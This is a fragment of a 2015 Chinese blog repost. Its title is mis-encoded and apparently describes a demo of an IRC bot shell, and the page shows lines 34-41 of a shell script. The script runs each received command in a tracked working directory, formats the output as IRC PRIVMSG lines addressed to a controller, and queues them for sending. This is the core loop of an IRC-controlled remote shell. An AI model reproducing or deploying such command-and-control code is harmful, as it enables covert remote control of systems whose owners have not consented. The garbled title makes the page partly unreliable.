ò???irc botμ?shellêμ??(demo)(2)
来源:未知 责任编辑:责任编辑 发表时间:2015-09-16 20:04 点击:次
34 #update cwd if this is a "cd" command
35 echo $cmd | egrep "(^ ?*cd *)|(^ ?*pwd$)" >/dev/null 2>&1
36 test $? -eq 0 && cmd="echo [+]Pwd is now $cwd"
37 #overwirte the "pwd" command
38 cd $cwd;$cmd 2>&1| sed "s/^/PRIVMSG $mgr :/" | tee -a $tmpfile >/dev/null 2>&1
39 echo "[+] Complete" | sed "s/^/PRIVMSG $mgr :/" >> $tmpfile
40 #exec it and send
41 done
from£oTm3yShell7's Blog
相关新闻>>
- 发表评论
-
- 最新评论 更多>>